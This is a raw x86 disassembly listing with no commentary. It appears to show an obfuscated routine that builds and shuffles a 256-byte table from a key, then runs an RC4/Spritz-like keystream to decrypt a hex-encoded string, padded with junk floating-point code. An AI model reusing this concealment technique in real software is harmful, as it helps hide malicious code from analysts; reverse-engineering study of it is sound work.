mov byte [ebp - 0x3424], 0
mov byte [ebp - 0x3da1], 0
mov byte [ebp - 0x3334], 0
mov byte [ebp - 0x3330], 0
mov byte [ebp - 0x345b], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x53c4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5164], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5164], xmm0
jmp 0x493f4f
movsd xmm0, qword [ebp - 0x5164]
addsd xmm0, qword [0x9d3068]
movsd qword [ebp - 0x5164], xmm0
movsd xmm0, qword [0x9d5010]
comisd xmm0, xmmword [ebp - 0x5164]
jbe 0x494000
movsd xmm0, qword [0x9d3e20]
mulsd xmm0, qword [ebp - 0x5164]
mulsd xmm0, qword [ebp - 0x5164]
movsd xmm1, qword [ebp - 0x5164]
mulsd xmm1, qword [ebp - 0x5164]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d3a58]
mulsd xmm1, qword [ebp - 0x5164]
mulsd xmm1, qword [ebp - 0x5164]
addsd xmm1, qword [0x9d3b40]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x53c4]
movsd qword [ebp - 0x53c4], xmm0
movsd xmm0, qword [ebp - 0x53c4]
comisd xmm0, xmmword [0x9d3bc8]
jbe 0x493ffb
movsd xmm0, qword [0x9d3858]
mulsd xmm0, qword [ebp - 0x5164]
movsd xmm1, qword [ebp - 0x53c4]
subsd xmm1, xmm0
movsd qword [ebp - 0x53c4], xmm1
jmp 0x493f37
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x53c4]
jbe 0x494037
jo 0x49408a
xor byte [edx + 0x65], cl
jns 0x494038
pop edx
cmp bl, byte [ebx + 0x6b]
dec eax
jnp 0x494080
pop edi
push bx
cmp eax, 0xb2c0a9c9
sal dword [esp + eax*8 - 0x36553353], 0xb5
ret
mov dword [ebp - 0x6170], 0x494020
mov dword [ebp - 0x616c], 0x49400d
mov eax, dword [ebp - 0x6170]
mov dword [ebp - 0x3f70], eax
mov ecx, dword [ebp - 0x616c]
mov dword [ebp - 0x6168], ecx
mov byte [ebp - 0x3da1], 0x17
mov dword [ebp - 0x33cc], 0
mov dword [ebp - 0x4acc], 0
mov dword [ebp - 0x33cc], 0
jmp 0x494099
test dword [eax + 0x20ffff9e], edx
inc eax
dec ecx
add bh, al
test dword [esi + ebx*4 + 0x400dffff], edx
dec ecx
add byte [ebx - 0x616f7b], cl
dec dword [ecx - 0x3f6f7b]
dec dword [ebx - 0x616b73]
dec dword [ecx - 0x616773]
inc esi
test dword [edi - 0x3e], ebx
invalid
xor al, 0xcc
invalid
mov edx, dword [ebp - 0x33cc]
add edx, 1
mov dword [ebp - 0x33cc], edx
cmp dword [ebp - 0x33cc], 0x100
jae 0x4940bf
mov eax, dword [ebp - 0x33cc]
shl eax, 0
lea ecx, [ebp - 0x1e18]
mov dl, byte [ebp - 0x33cc]
mov byte [eax + ecx], dl
jmp 0x49408a
mov dword [ebp - 0x4acc], 0
mov byte [ebp - 0x3424], 0
mov dword [ebp - 0x33cc], 0xff
jmp 0x4940eb
mov eax, dword [ebp - 0x33cc]
sub eax, 1
mov dword [ebp - 0x33cc], eax
cmp dword [ebp - 0x33cc], 0
jbe 0x4943b1
mov dword [ebp - 0x5860], 0
mov dword [ebp - 0x5600], 1
mov dword [ebp - 0x4688], 0
mov ecx, dword [ebp - 0x5600]
cmp ecx, dword [ebp - 0x33cc]
jae 0x494137
mov edx, dword [ebp - 0x5600]
shl edx, 1
add edx, 1
mov dword [ebp - 0x5600], edx
jmp 0x494116
mov eax, dword [ebp - 0x4acc]
mov dword [ebp - 0x5d84], eax
cmp dword [ebp - 0x5d84], 3
ja case.default.0x494156
mov ecx, dword [ebp - 0x5d84]
jmp dword [ecx*4 + 0x4de89c]
movzx edx, byte [ebp - 0x3424]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x53c4]
call fcn.009b1700
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3424], bl
jmp 0x49425d
movzx ecx, byte [ebp - 0x3424]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x53c4]
call fcn.009b1700
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3424], bl
jmp 0x49425d
movzx eax, byte [ebp - 0x3424]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x53c4]
call fcn.009b1700
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3424], bl
jmp 0x49425d
movzx edx, byte [ebp - 0x3424]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x53c4]
call fcn.009b1700
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3424], bl
jmp 0x49425d
movzx ecx, byte [ebp - 0x3424]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ecx + edx]
mov ecx, dword [ebp - 0x4acc]
sub ecx, 4
shl ecx, 0
add ecx, dword [ebp - 0x6168]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x3424], al
mov eax, dword [ebp - 0x4acc]
add eax, 1
mov dword [ebp - 0x4acc], eax
movzx ecx, byte [ebp - 0x3da1]
cmp dword [ebp - 0x4acc], ecx
jb 0x49429b
mov dword [ebp - 0x4acc], 0
movzx edx, byte [ebp - 0x3da1]
movzx eax, byte [ebp - 0x3424]
add eax, edx
mov byte [ebp - 0x3424], al
movzx ecx, byte [ebp - 0x3424]
and ecx, dword [ebp - 0x5600]
mov dword [ebp - 0x4688], ecx
mov edx, dword [ebp - 0x5860]
add edx, 1
mov dword [ebp - 0x5860], edx
cmp dword [ebp - 0x5860], 0xb
jbe 0x4942da
mov eax, dword [ebp - 0x4688]
xor edx, edx
div dword [ebp - 0x33cc]
mov dword [ebp - 0x4688], edx
mov eax, dword [ebp - 0x4688]
cmp eax, dword [ebp - 0x33cc]
ja 0x494137
mov ecx, dword [ebp - 0x33cc]
cmp ecx, dword [ebp - 0x4688]
je 0x4943ac
mov edx, dword [ebp - 0x33cc]
shl edx, 0
lea eax, [ebp - 0x1e18]
mov ecx, dword [ebp - 0x4688]
shl ecx, 0
lea esi, [ebp - 0x1e18]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x33cc]
shl eax, 0
lea ecx, [ebp - 0x1e18]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x4688]
shl edx, 0
lea eax, [ebp - 0x1e18]
mov ecx, dword [ebp - 0x33cc]
shl ecx, 0
lea esi, [ebp - 0x1e18]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x4688]
shl eax, 0
lea ecx, [ebp - 0x1e18]
mov byte [eax + ecx], dl
mov edx, dword [ebp - 0x33cc]
shl edx, 0
lea eax, [ebp - 0x1e18]
mov ecx, dword [ebp - 0x4688]
shl ecx, 0
lea esi, [ebp - 0x1e18]
movzx ecx, byte [ecx + esi]
movzx edx, byte [edx + eax]
xor edx, ecx
mov eax, dword [ebp - 0x33cc]
shl eax, 0
lea ecx, [ebp - 0x1e18]
mov byte [eax + ecx], dl
jmp 0x4940dc
mov edx, 1
shl edx, 0
lea eax, [ebp - 0x1e18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x325a], cl
mov edx, 1
imul eax, edx, 3
lea ecx, [ebp - 0x1e18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3295], dl
mov eax, 1
imul ecx, eax, 5
lea edx, [ebp - 0x1e18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3333], al
mov ecx, 1
imul edx, ecx, 7
lea eax, [ebp - 0x1e18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3296], cl
movzx edx, byte [ebp - 0x3424]
shl edx, 0
lea eax, [ebp - 0x1e18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x32d9], cl
mov dword [ebp - 0x5b44], 0x12
cmp dword [ebp - 0x5b44], 2
jle 0x496b3c
mov edx, dword [ebp - 0x5b44]
and edx, 1
jne 0x496b3c
mov dword [ebp - 0x33cc], 0
mov dword [ebp - 0x3754], 0
mov eax, dword [ebp - 0x3754]
add eax, 1
mov dword [ebp - 0x3754], eax
mov dword [ebp - 0x3e48], 0
mov ecx, dword [ebp - 0x33cc]
shl ecx, 1
mov dword [ebp - 0x3e48], ecx
mov dword [ebp - 0x3ce4], 0
mov edx, dword [ebp - 0x3e48]
shl edx, 0
add edx, dword [ebp - 0x3f70]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3ce4]
mov dword [ebp - 0x3ce4], eax
mov dword [ebp - 0x3ce8], 0
mov ecx, dword [ebp - 0x3ce8]
add ecx, 0xbd
mov dword [ebp - 0x3ce8], ecx
mov dword [ebp - 0x3e4c], 0
mov edx, dword [ebp - 0x33cc]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3e4c], edx
mov dword [ebp - 0x3cec], 0
mov eax, dword [ebp - 0x3e4c]
shl eax, 0
add eax, dword [ebp - 0x3f70]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3cec]
mov dword [ebp - 0x3cec], ecx
mov dword [ebp - 0x3b78], 0
mov edx, dword [ebp - 0x3b78]
add edx, 0xa7
mov dword [ebp - 0x3b78], edx
mov dword [ebp - 0x3b7c], 0
mov eax, dword [ebp - 0x3ce4]
sub eax, dword [ebp - 0x3ce8]
add eax, dword [ebp - 0x3b7c]
mov dword [ebp - 0x3b7c], eax
mov dword [ebp - 0x3b80], 0
mov ecx, dword [ebp - 0x3cec]
sub ecx, dword [ebp - 0x3b78]
add ecx, dword [ebp - 0x3b80]
mov dword [ebp - 0x3b80], ecx
mov dword [ebp - 0x3e50], 0
mov edx, dword [ebp - 0x3b7c]
shl edx, 4
mov dword [ebp - 0x3e50], edx
mov dword [ebp - 0x3e54], 0
mov eax, dword [ebp - 0x3b80]
mov dword [ebp - 0x3e54], eax
mov dword [ebp - 0x3e58], 0
mov ecx, dword [ebp - 0x3e50]
or ecx, dword [ebp - 0x3e54]
mov dword [ebp - 0x3e58], ecx
mov byte [ebp - 0x3334], 0
movsd xmm0, qword [0x9d4d20]
movsd qword [ebp - 0x5a78], xmm0
movsd xmm0, qword [0x9d4a78]
movsd qword [ebp - 0x5c50], xmm0
movsd xmm0, qword [0x9d45e8]
movsd qword [ebp - 0x4f24], xmm0
movsd xmm0, qword [0x9d3280]
movsd qword [ebp - 0x53cc], xmm0
movsd xmm0, qword [ebp - 0x5c50]
subsd xmm0, qword [ebp - 0x53cc]
movsd qword [ebp - 0x5c50], xmm0
movsd xmm0, qword [ebp - 0x4f24]
mulsd xmm0, qword [ebp - 0x53cc]
movsd qword [ebp - 0x4f24], xmm0
movsd xmm0, qword [ebp - 0x5c50]
addsd xmm0, qword [ebp - 0x53cc]
movsd qword [ebp - 0x5c50], xmm0
movsd xmm0, qword [ebp - 0x4f24]
subsd xmm0, qword [ebp - 0x53cc]
movsd qword [ebp - 0x4f24], xmm0
movsd xmm0, qword [ebp - 0x4f24]
comisd xmm0, xmmword [ebp - 0x53cc]
jbe 0x4946e0
mov dl, byte [ebp - 0x3e58]
mov byte [ebp - 0x3334], dl
movsd xmm0, qword [ebp - 0x4f24]
mulsd xmm0, qword [ebp - 0x53cc]
movsd qword [ebp - 0x4f24], xmm0
movsd xmm0, qword [ebp - 0x4f24]
subsd xmm0, qword [ebp - 0x53cc]
movsd qword [ebp - 0x4f24], xmm0
movsd xmm0, qword [ebp - 0x53cc]
mulsd xmm0, qword [ebp - 0x5a78]
movsd qword [ebp - 0x53cc], xmm0
movsd xmm0, qword [ebp - 0x5a78]
addsd xmm0, qword [ebp - 0x5c50]
movsd qword [ebp - 0x5a78], xmm0
jmp 0x494740
movsd xmm0, qword [ebp - 0x53cc]
divsd xmm0, qword [ebp - 0x5c50]
movsd qword [ebp - 0x53cc], xmm0
movsd xmm0, qword [ebp - 0x5a78]
divsd xmm0, qword [ebp - 0x4f24]
movsd qword [ebp - 0x5a78], xmm0
movsd xmm0, qword [ebp - 0x4f24]
mulsd xmm0, qword [ebp - 0x5a78]
movsd qword [ebp - 0x4f24], xmm0
movsd xmm0, qword [ebp - 0x4f24]
divsd xmm0, qword [ebp - 0x5a78]
movsd qword [ebp - 0x4f24], xmm0
mov byte [ebp - 0x3330], 0
movzx eax, byte [ebp - 0x32d9]
shl eax, 0
lea ecx, [ebp - 0x1e18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3330], dl
movzx eax, byte [ebp - 0x325a]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3295]
add eax, edx
mov byte [ebp - 0x3295], al
mov cl, byte [ebp - 0x325a]
add cl, 1
mov byte [ebp - 0x325a], cl
movzx edx, byte [ebp - 0x3295]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ebp - 0x32d9]
shl ecx, 0
lea esi, [ebp - 0x1e18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3296]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [ebp - 0x3295]
shl edx, 0
lea esi, [ebp - 0x1e18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325a]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ebp - 0x3296]
shl eax, 0
lea esi, [ebp - 0x1e18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325a]
shl edx, 0
lea eax, [ebp - 0x1e18]
mov cl, byte [ebp - 0x3330]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3330]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3333]
add edx, ecx
mov byte [ebp - 0x3333], dl
movzx eax, byte [ebp - 0x3334]
movzx ecx, byte [ebp - 0x3295]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x325a]
shl edx, 0
lea esi, [ebp - 0x1e18]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x3296]
shl edx, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x32d9]
shl ecx, 0
lea esi, [ebp - 0x1e18]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3333]
shl ecx, 0
lea esi, [ebp - 0x1e18]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3296], al
mov al, byte [ebp - 0x3334]
mov byte [ebp - 0x32d9], al
mov cl, byte [ebp - 0x3296]
mov byte [ebp - 0x345b], cl
cmp dword [ebp - 0x33cc], 0
jbe 0x494927
mov edx, dword [ebp - 0x33cc]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x10]
mov cl, byte [ebp - 0x345b]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x3754]
add edx, 2
mov dword [ebp - 0x3754], edx
mov eax, dword [ebp - 0x33cc]
add eax, 1
mov dword [ebp - 0x4ac8], eax
jmp 0x494956
mov ecx, dword [ebp - 0x4ac8]
add ecx, 1
mov dword [ebp - 0x4ac8], ecx
mov edx, dword [ebp - 0x4ac8]
cmp edx, dword [ebp - 0x3754]
jge 0x495085
mov eax, dword [ebp - 0x33cc]
add eax, 1
mov dword [ebp - 0x33cc], eax
mov ecx, dword [ebp - 0x33cc]
shl ecx, 1
mov dword [ebp - 0x3e48], ecx
mov edx, dword [ebp - 0x3e48]
shl edx, 0
add edx, dword [ebp - 0x3f70]
movzx eax, byte [edx]
mov dword [ebp - 0x3ce4], eax
mov dword [ebp - 0x3ce8], 0xbd
mov ecx, dword [ebp - 0x33cc]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e4c], ecx
mov edx, dword [ebp - 0x3e4c]
shl edx, 0
add edx, dword [ebp - 0x3f70]
movzx eax, byte [edx]
mov dword [ebp - 0x3cec], eax
mov dword [ebp - 0x3b78], 0xa7
mov ecx, dword [ebp - 0x3ce4]
sub ecx, dword [ebp - 0x3ce8]
mov dword [ebp - 0x3b7c], ecx
mov edx, dword [ebp - 0x3cec]
sub edx, dword [ebp - 0x3b78]
mov dword [ebp - 0x3b80], edx
mov eax, dword [ebp - 0x3b7c]
shl eax, 4
mov dword [ebp - 0x3e50], eax
mov ecx, dword [ebp - 0x3b80]
mov dword [ebp - 0x3e54], ecx
mov edx, dword [ebp - 0x3e50]
or edx, dword [ebp - 0x3e54]
mov dword [ebp - 0x3e58], edx
mov al, byte [ebp - 0x3e58]
mov byte [ebp - 0x3334], al
movss xmm0, dword [0x9d55e8]
movss dword [ebp - 0x4088], xmm0
movss xmm0, dword [0x9d53b4]
movss dword [ebp - 0x4268], xmm0
movss xmm0, dword [0x9d5180]
movss dword [ebp - 0x5864], xmm0
movss xmm0, dword [ebp - 0x4088]
addss xmm0, dword [ebp - 0x5864]
movss dword [ebp - 0x4088], xmm0
movss xmm0, dword [ebp - 0x4088]
addss xmm0, dword [ebp - 0x5864]
movss dword [ebp - 0x4088], xmm0
movss xmm0, dword [ebp - 0x4088]
subss xmm0, dword [ebp - 0x5864]
movss dword [ebp - 0x4088], xmm0
movss xmm0, dword [ebp - 0x4088]
comiss xmm0, dword [ebp - 0x5864]
jbe 0x494b23
movss xmm0, dword [ebp - 0x4268]
subss xmm0, dword [ebp - 0x4088]
movss dword [ebp - 0x4268], xmm0
movss xmm0, dword [ebp - 0x4268]
mulss xmm0, dword [ebp - 0x4088]
movss dword [ebp - 0x4268], xmm0
movzx ecx, byte [ebp - 0x32d9]
shl ecx, 0
lea edx, [ebp - 0x1e18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3330], al
movss xmm0, dword [ebp - 0x4268]
mulss xmm0, dword [ebp - 0x4088]
movss dword [ebp - 0x4268], xmm0
jmp 0x494b6b
movss xmm0, dword [ebp - 0x4268]
addss xmm0, dword [ebp - 0x4088]
movss dword [ebp - 0x4268], xmm0
movss xmm0, dword [ebp - 0x4268]
mulss xmm0, dword [ebp - 0x4088]
movss dword [ebp - 0x4268], xmm0
movss xmm0, dword [ebp - 0x4268]
subss xmm0, dword [ebp - 0x4088]
movss dword [ebp - 0x4268], xmm0
movzx ecx, byte [ebp - 0x325a]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3295]
add ecx, eax
mov byte [ebp - 0x3295], cl
mov dl, byte [ebp - 0x325a]
add dl, 1
mov byte [ebp - 0x325a], dl
movzx eax, byte [ebp - 0x3295]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [ebp - 0x32d9]
shl edx, 0
lea esi, [ebp - 0x1e18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3296]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ebp - 0x3295]
shl eax, 0
lea esi, [ebp - 0x1e18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325a]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ebp - 0x3296]
shl ecx, 0
lea esi, [ebp - 0x1e18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movsd xmm0, qword [0x9d4dd8]
movsd qword [ebp - 0x48ac], xmm0
movsd xmm0, qword [0x9d4c20]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [0x9d48b8]
movsd qword [ebp - 0x4cbc], xmm0
movsd xmm0, qword [0x9d4500]
movsd qword [ebp - 0x4b10], xmm0
movsd xmm0, qword [0x9d4120]
movsd qword [ebp - 0x44f0], xmm0
movsd xmm0, qword [ebp - 0x48ac]
mulsd xmm0, qword [ebp - 0x44f0]
movsd qword [ebp - 0x48ac], xmm0
movsd xmm0, qword [ebp - 0x4764]
subsd xmm0, qword [ebp - 0x44f0]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4cbc]
mulsd xmm0, qword [ebp - 0x44f0]
movsd qword [ebp - 0x4cbc], xmm0
movsd xmm0, qword [ebp - 0x4764]
mulsd xmm0, qword [ebp - 0x44f0]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4cbc]
addsd xmm0, qword [ebp - 0x44f0]
movsd qword [ebp - 0x4cbc], xmm0
movsd xmm0, qword [ebp - 0x48ac]
comisd xmm0, xmmword [ebp - 0x44f0]
jbe 0x494d83
movzx eax, byte [ebp - 0x325a]
shl eax, 0
lea ecx, [ebp - 0x1e18]
mov dl, byte [ebp - 0x3330]
mov byte [eax + ecx], dl
movsd xmm0, qword [ebp - 0x44f0]
mulsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x44f0], xmm0
movsd xmm0, qword [ebp - 0x4b10]
subsd xmm0, qword [ebp - 0x48ac]
movsd qword [ebp - 0x4b10], xmm0
movsd xmm0, qword [ebp - 0x4764]
mulsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4b10]
addsd xmm0, qword [ebp - 0x48ac]
movsd qword [ebp - 0x4b10], xmm0
movsd xmm0, qword [ebp - 0x48ac]
mulsd xmm0, qword [ebp - 0x4cbc]
movsd qword [ebp - 0x48ac], xmm0
jmp 0x494f77
movsd xmm0, qword [ebp - 0x44f0]
divsd xmm0, qword [ebp - 0x48ac]
movsd qword [ebp - 0x44f0], xmm0
movsd xmm0, qword [ebp - 0x48ac]
subsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x48ac], xmm0
movsd xmm0, qword [ebp - 0x4764]
subsd xmm0, qword [ebp - 0x4cbc]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4cbc]
mulsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x4cbc], xmm0
movsd xmm0, qword [ebp - 0x4b10]
divsd xmm0, qword [ebp - 0x44f0]
movsd qword [ebp - 0x4b10], xmm0
movsd xmm0, qword [ebp - 0x48ac]
mulsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x48ac], xmm0
movsd xmm0, qword [ebp - 0x4764]
subsd xmm0, qword [ebp - 0x4cbc]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4b10]
mulsd xmm0, qword [ebp - 0x44f0]
movsd qword [ebp - 0x4b10], xmm0
movsd xmm0, qword [ebp - 0x48ac]
addsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x48ac], xmm0
movsd xmm0, qword [ebp - 0x48ac]
mulsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x48ac], xmm0
movsd xmm0, qword [ebp - 0x48ac]
comisd xmm0, xmmword [ebp - 0x4cbc]
jbe 0x494eff
movsd xmm0, qword [ebp - 0x4b10]
mulsd xmm0, qword [ebp - 0x44f0]
movsd qword [ebp - 0x4b10], xmm0
movsd xmm0, qword [ebp - 0x44f0]
subsd xmm0, qword [ebp - 0x48ac]
movsd qword [ebp - 0x44f0], xmm0
movsd xmm0, qword [ebp - 0x4cbc]
addsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x4cbc], xmm0
movsd xmm0, qword [ebp - 0x4b10]
mulsd xmm0, qword [ebp - 0x44f0]
movsd qword [ebp - 0x4b10], xmm0
movsd xmm0, qword [ebp - 0x44f0]
divsd xmm0, qword [ebp - 0x48ac]
movsd qword [ebp - 0x44f0], xmm0
jmp 0x494f77
movsd xmm0, qword [ebp - 0x4764]
mulsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4764]
divsd xmm0, qword [ebp - 0x4b10]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4cbc]
divsd xmm0, qword [ebp - 0x44f0]
movsd qword [ebp - 0x4cbc], xmm0
movsd xmm0, qword [ebp - 0x4cbc]
subsd xmm0, qword [ebp - 0x44f0]
movsd qword [ebp - 0x4cbc], xmm0
movsd xmm0, qword [ebp - 0x44f0]
subsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x44f0], xmm0
movzx eax, byte [ebp - 0x3330]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3333]
add eax, edx
mov byte [ebp - 0x3333], al
movzx ecx, byte [ebp - 0x3334]
movzx edx, byte [ebp - 0x3295]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x325a]
shl eax, 0
lea esi, [ebp - 0x1e18]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x3296]
shl eax, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x32d9]
shl edx, 0
lea esi, [ebp - 0x1e18]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3333]
shl edx, 0
lea esi, [ebp - 0x1e18]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x3296], cl
mov cl, byte [ebp - 0x3334]
mov byte [ebp - 0x32d9], cl
mov dl, byte [ebp - 0x3296]
mov byte [ebp - 0x345b], dl
cmp dword [ebp - 0x33cc], 0
jbe 0x495080
mov eax, dword [ebp - 0x33cc]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x10]
mov dl, byte [ebp - 0x345b]
mov byte [eax + ecx], dl
jmp 0x494947
mov eax, dword [ebp - 0x3754]
add eax, 1
mov dword [ebp - 0x3754], eax
mov ecx, dword [ebp - 0x33cc]
add ecx, 1
mov dword [ebp - 0x33cc], ecx
mov edx, dword [ebp - 0x3754]
add edx, 1
mov dword [ebp - 0x3754], edx
mov eax, dword [ebp - 0x33cc]
shl eax, 1
mov dword [ebp - 0x3e48], eax
mov ecx, dword [ebp - 0x3e48]
shl ecx, 0
add ecx, dword [ebp - 0x3f70]
movzx edx, byte [ecx]
mov dword [ebp - 0x3ce4], edx
mov dword [ebp - 0x3ce8], 0xbd
mov eax, dword [ebp - 0x33cc]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3e4c], eax
mov ecx, dword [ebp - 0x3e4c]
shl ecx, 0
add ecx, dword [ebp - 0x3f70]
movzx edx, byte [ecx]
mov dword [ebp - 0x3cec], edx
mov dword [ebp - 0x3b78], 0xa7
mov eax, dword [ebp - 0x3ce4]
sub eax, dword [ebp - 0x3ce8]
mov dword [ebp - 0x3b7c], eax
mov ecx, dword [ebp - 0x3cec]
sub ecx, dword [ebp - 0x3b78]
mov dword [ebp - 0x3b80], ecx
mov edx, dword [ebp - 0x3b7c]
shl edx, 4
mov dword [ebp - 0x3e50], edx
mov eax, dword [ebp - 0x3b80]
mov dword [ebp - 0x3e54], eax
mov ecx, dword [ebp - 0x3e50]
or ecx, dword [ebp - 0x3e54]
mov dword [ebp - 0x3e58], ecx
mov dl, byte [ebp - 0x3e58]
mov byte [ebp - 0x3334], dl
movzx eax, byte [ebp - 0x32d9]
shl eax, 0
lea ecx, [ebp - 0x1e18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3330], dl
movzx eax, byte [ebp - 0x325a]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3295]
add eax, edx
mov byte [ebp - 0x3295], al
mov cl, byte [ebp - 0x325a]
add cl, 1
mov byte [ebp - 0x325a], cl
movzx edx, byte [ebp - 0x3295]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [ebp - 0x32d9]
shl ecx, 0
lea esi, [ebp - 0x1e18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3296]
shl eax, 0
lea ecx, [ebp - 0x1e18]
movzx edx, byte [ebp - 0x3295]
shl edx, 0
lea esi, [ebp - 0x1e18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325a]
shl ecx, 0
lea edx, [ebp - 0x1e18]
movzx eax, byte [ebp - 0x3296]
shl eax, 0
lea esi, [ebp - 0x1e18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x325a]
shl edx, 0
lea eax, [ebp - 0x1e18]
mov cl, byte [ebp - 0x3330]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3330]
shl edx, 0
lea eax, [ebp - 0x1e18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3333]
add edx, ecx
mov byte [ebp - 0x3333], dl
movzx eax, byte [ebp - 0x3334]
